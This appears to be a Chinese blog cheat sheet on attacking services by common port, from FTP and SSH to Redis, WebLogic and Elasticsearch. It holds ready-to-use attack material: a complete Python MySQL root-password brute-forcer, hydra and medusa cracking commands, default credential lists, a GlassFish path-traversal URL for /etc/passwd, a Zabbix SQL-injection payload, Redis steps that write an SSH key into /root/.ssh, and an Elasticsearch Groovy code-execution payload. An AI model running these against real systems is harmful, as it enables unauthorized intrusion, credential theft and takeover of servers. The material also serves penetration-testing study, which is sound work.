zoukankan      html  css  js  c++  java
  • 常见端口漏洞

    常见端口及测试方法小结

    端口是设备与外界通讯交流的出口。端口是通过端口号来标记的,端口号只有整数,范围是从0 到65535。

    端口渗透过程中我们需要关注几个问题:

    1、 端口的banner信息

    2、 端口上运行的服务

    3、 常见应用的默认端口

    公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;

    注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;

    动态/私有:49152-65535,不为服务分配这些端口;

    针对不同的端口进行不同的安全测试,本文的主要内容是关于常见端口安全隐患以及测试方法。

    常见漏洞类型:

    21.FTP (21)

    测试内容
    爆破:工具hydra,msf…
    匿名访问:用户名:anonymous  密码:为空
    弱口令:字典

    22.SSH (22)

    SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议
    测试内容
    暴力破解,弱口令
    相关工具:hydra,msf等

    23.Telnet (23)

    测试内容
    嗅探:此种情况一般发生在局域网;
    暴力破解帐号密码,弱口令,空口令

    25.SMTP (25)

    测试内容
    邮件欺骗,转发垃圾邮件
    针对不同版本的邮件服务器外部公开的漏洞,可以在各大漏洞数据库查询。

    Snmp默认团体名:

    相关工具
    使用namp脚本:nmap -Pn -sS -p25 --script smtp* -v

    53.DNS(53)

    默认端口:53
    攻击方式:
    dns域传输漏洞 dns.py

    110.POP3(110)

    默认端口:109(POP2)、110(POP3)、995(POP3S)
    攻击方式:
    爆破;弱口令;邮箱泄露(Github敏感信息泄漏)
    可利用一些邮箱爆破脚本

    389.LDAP(389)

    ldap:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。
    默认端口:389
    攻击方式:
    注入攻击:盲注; 爆破:弱口令

    未授权访问:如:ldap://1.1.1.1:389

    80.HTTP/HTTPS (80,443)

    超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。Web应用程序安全测试,可以参照:web应用测试案例
    443端口作为默认https服务端口,较常见的漏洞危害大的就是心脏出血。

    445.SMB (445)

    SMB(Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。
    测试内容
    网络公开的针对smb协议的漏洞利用,例如ms08-067,ms17-010
    相关工具
    msf(auxiliary/scanner/smb/smb_version)
    nmap脚本:smb-check-vulns 

    873.Rsync(873)

    Rsync:类UNIX系统下的数据备份工具(remote sync),Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。
    默认端口:873
    攻击方式:
    未授权访问
    nmap 0.0.0.0/24 -p873 --open
    root@kali: rsync 127.0.0.1::

    1090.RMI (1090)

    默认端口:1090、1099、9090
    攻击方式:
    远程命令执行(java反序列化),dubbo java 反序列

    dubbo java 反序列:

    1433.MSSQL(1433)

    MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台。
    测试内容
    暴力破解
    工具:hydra

    1521.Oracle (1521)

    Oracle是甲骨文公司的一款关系数据库管理系统。
    测试内容
    暴力破解
    枚举数据库信息
    测试工具:msf等

    2181.Zookeeper(2181)

    zookeeper分布式的,开放源码的分布式应用程序协调服务。
    默认端口:2181
    未授权访问;
    root@kali:~# echo envi |nc 0.0.0.0 2181

    2375.Docker(2375)

    默认端口:2375
    未授权访问;
    Ip:2375/version

    3306.MYSQL (3306)

    MySQL是一个关系型数据库管理系统。
    测试内容
    暴力破解
    爆破工具:hydra,python,
    hydra.exe -L c:user.txt -P c:pass.txt ip mysql

    #!/usr/bin/env python

    import threading

    import argparse

    import socket

    import Queue

    import netaddr

    import MySQLdb

    import time

    import sys

    class Mysqlfuzz:

        def __init__(self,addr,tnum):

            self.scanque = Queue.Queue()

            self.tnum = tnum

            self.tmpnum = tnum

            self.lock = threading.Lock()

            self.openlist = []

            if addr.find("-") != -1:

                for ip in netaddr.IPRange(addr.split("-")[0],addr.split("-")[1]):

                    self.scanque.put(ip)

            else:

                for ip in netaddr.IPNetwork(addr).iter_hosts():

                    self.scanque.put(ip)

            self.qsize = self.scanque.qsize()

            for i in range(tnum):

                t = threading.Thread(target=self.ScanPort)

                t.setDaemon(True)

                t.start()

            while self.tmpnum > 0:

                time.sleep(1.0)

            print "[*]:cracking MySQL Password ..."

            with open("pass.txt","r") as file:

                data = file.readlines()

            for ip in self.openlist:

                for line in data:

                    self.scanque.put(line.strip())

                for i in range(tnum):

                    t = threading.Thread(target=self.Crack,args=(ip,))

                    t.setDaemon(True)

                    t.start()

                while self.scanque.qsize() > 0:

                    time.sleep(1.0)

     

        def Crack(self,ip):

            while self.scanque.qsize() > 0:

                try:

                    password = self.scanque.get()

                    conn=MySQLdb.connect(host=ip,user='root',passwd=password,db='test',port=3306,connect_timeout=4)

                    self.lock.acquire()

                    msg = "[+]:%s Username: root Password is: %s" %(ip,password)

                    print msg

                    output = open('good.txt', 'a')

                    output.write(msg + " ") 

                    self.lock.release()

                    break

                except:

                    pass

     

        def ScanPort(self):

            while self.scanque.qsize() > 0:

                try:

                    ip = self.scanque.get()

                    s = socket.socket()

                    s.settimeout(4)

                    s.connect((str(ip), 3306))

                    self.lock.acquire()

                    print ip," 3306 open"

                    self.openlist.append(str(ip))

                    self.lock.release()

                except:

                    pass

            self.tmpnum -= 1

    if __name__ == "__main__":

        parse = argparse.ArgumentParser(description="mysqlfuzz")

        parse.add_argument('-a','--addr', type=str, help="ipaddress")

        parse.add_argument('-t','--thread', type=int, help="Thread Number",default=100)

        args = parse.parse_args()

        if not args.addr:

            parse.print_help()

            sys.exit(0)

        addr = args.addr

        tnum = args.thread

        Mysqlfuzz(addr,tnum)

    python mysql.py -a 192.168.1.1/24 -t 30

    3389.RDP (3389)

    远程桌面协议(RDP)远程桌面登陆服务,默认Windows 3389端口。
    测试内容
    爆破用户密码
    根据网络公开的漏洞exp进行测试如ms12-020,cve-2019-0708
    相关工具:hydra,msf
    hydra 192.168.1.12 rdp -L users.txt -P pass.txt -V 
    ms12-020:

    cve-2019-0708:

    4848.GlassFish(4848)

    默认端口: 4848
    攻击方式:
    爆破, 认证绕过,弱口令admin:admin

    任意文件读取:/etc/passwd
    https://ip:4848//theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

    5432.PostgreSQL(5432)

    PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统。
    默认端口:5432
    攻击方式:
    爆破:弱口令:postgres postgres
    弱口令可以用PostgreSQL数据库工具登录.
    缓冲区溢出:CVE-2014-2669
    工具命令:medusa -H /tmp/ip.txt -u postgres -n 5432 -P /tmp/pass.txt -e ns -M postgres -T 255 -f -O /tmp/good.txt -r 0

    5601.Kibana(5601)

    默认端口:5601
    Ip:5601/app/kibana

    5900.VNC(5900)

    VNC一款优秀的远控工具。
    默认端口:5900+桌面ID(5901;5902)
    攻击方式:
    爆破,弱口令,认证口令绕过。
    vnc -i IP1.255.255.255 -p 5900 –vnc
    也可以用VNC连接工具进行连接

    6379Redis(6379)

    默认端口:6379
    攻击方式:
    爆破:弱口令
    未授权访问+配合ssh key提权;
    工具:
    https://github.com/caoxinyu/RedisClient
    https://github.com/uglide/RedisDesktopManager

    在上图的命令行下可利用Redis 写入webshell,前提条件是开了web并且知道路径才成功。
    #ssh-keygen –t rsa
    #(echo -e " "; cat id_rsa.pu; echo -e " ") > test.txt
    #cat test.txt | redis-cli -h xx.xx.xx.xx -x set aa
    redis-cli -h 0.0.0.0
    0.0.0.0:6379> config set dir /root/.ssh/
    OK
    0.0.0.0:6379> config set dbfilename “test”
    OK
    0.0.0.0:6379> save
    OK

    7001.WebLogic(7001)

    默认端口:7001
    攻击方式:Java反序列化,WEBLOGIC SSRF,WEBLOGIC
    CVE-2014-4210,CVE-2016-0638 ,CVE-2016-3510 ,CVE-2017-3248,CVE-2018-2628 ,CVE-2018-2893,CVE-2019-2725,CVE-2019-2729 ,CVE-2018-2894,CVE-2017-3506,CVE-2017-10271
    爆破:弱口令 4组:用户名密码均一致:system weblogic(密码可能weblogic123) portaladmin guest
    Java反序列化:

    WebLogic 反序列化漏洞补丁绕过(CVE-2017-3248)

    Weblogic SSRF:
    ip:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip:port&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

    8080.Resin(8080)

    默认端口:8080
    攻击方式:
    弱口令 admin/admin
    /resin-admin/status.php

    目录遍历
    ip/E:%5C/ & ip/ /web-inf/

    文件读取
    /resin-doc/examples/security-basic/viewfile?file=WEB-INF/web.xml

    Ssrf:/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://10.29.5.24

    8069.Zabbix(8069)

    zabbix基于Web界面的提供分布式系统监视。监视各种网络参数,保证服务器系统的安全运营。
    默认端口:8069
    攻击方式:
    弱口令;admin/zabbix
    ip/zabbix

    注入
    /zabbix/httpmon.php?applications=2 and (select 1 from (select count(),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

    zabbix后台是可以直接执行shell命令的。可反弹shell。

    8080.Tomcat(8080)

    默认端口:80/8080
    攻击方式:
    爆破:弱口令(爆破manager/html后台)admin/admin tomcat/tomcat admin/null

    HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
    Tomcat官方安全公告漏洞;如:CVE-2017-12615

    8080.Jboss(8080)

    默认端口:8080
    攻击方式:
    爆破,弱口令(爆破jboss系统后台)/admin-console
    远程代码执行:配置不当/jmx-consoel /web-console /invoker/JMXInvokerServlet,无密码认证或认证绕过。

    Java反序列化:

    8080.Jenkins(8080)

    默认端口:8080、8089
    攻击方式:
    爆破:弱口令(默认管理员)admin/admin…
    未授权访问:
    ip/script 可直接进入无需密码执行命令

    反序列化漏洞:网上公开

    9090.Websphere(9090)

    默认端口:9090;第一个应用就是9080,第二个就是9081;控制台9090
    攻击方式:
    爆破:弱口令(控制台)admin/admin…
    /ibm/console/

    任意文件泄漏:(CVE-2014-0823)
    Java反序列化;

    9200.Elasticsearch(9200)

    默认端口:9200、9300 攻击方式:
    未授权访问;
    ip:9200/_plugin/head/ ip:9200/_search?Preety ip:9200/_cat

    远程命令执行;

    命令:
    查看状态:http:// ip:9200/_status 
集群健康报告:http:// ip:9200/_cluster/health 
集群节点信息:http:// ip:9200/_nodes
http:// ip:9200/_search?pretty
插入数据: 
curl -XPOST http:// ip:9200/test/test/1 -d' 
{"content":"中国好礼物,可惜是xo"} 
当然也可以先创建索引: 
curl -XPUT http://ip:9200/test-test 
查询插入的数据: 
curlhttp://ip:9200/test/test/_search?pretty 
删除索引: 
curl -XDELETE http://ip:9200/test

    Elasticsearch Groovy 脚本动态执行漏洞;
    POST数据提交:

    211.151.7.139:9200/_search?pretty

    {"size":1,"script_fields":{"test#": {"script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cat/etc/hosts").getInputStream())).readLines()","lang": "groovy"}}}

    11211.memcache(11211)

    默认端口:11211
    未授权访问
    nc -vv 127.0.0.1 11211
    stats items
    stats cachedump 11 11
    get admin_user_admin

    27017.MongoDB(27017)

    MongoDB:NoSQL数据库。
    默认端口:27017
    攻击方式:
    爆破:弱口令
    未授权访问;

    工具: https://robomongo.org/download
    127.0.0.1:27017

    作者:拾瑾
    个性签名:愿历经千帆,归来仍少年.
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利.
  • 相关阅读:
    Istio技术与实践02:源码解析之Istio on Kubernetes 统一服务发现
    Istio技术与实践01: 源码解析之Pilot多云平台服务发现机制
    深度剖析Kubernetes API Server三部曲
    深度剖析Kubernetes API Server三部曲
    深度剖析Kubernetes API Server三部曲
    深入了解Kubernetes REST API的工作方式
    Cassandra schema version 不一致
    ByteToMessageDecoder
    Byte Bit
    为什么要用Executors.defaultThreadFactory().newThread(run);创建线程?
  • 原文地址:https://www.cnblogs.com/ayoung/p/15238707.html
Copyright © 2011-2022 走看看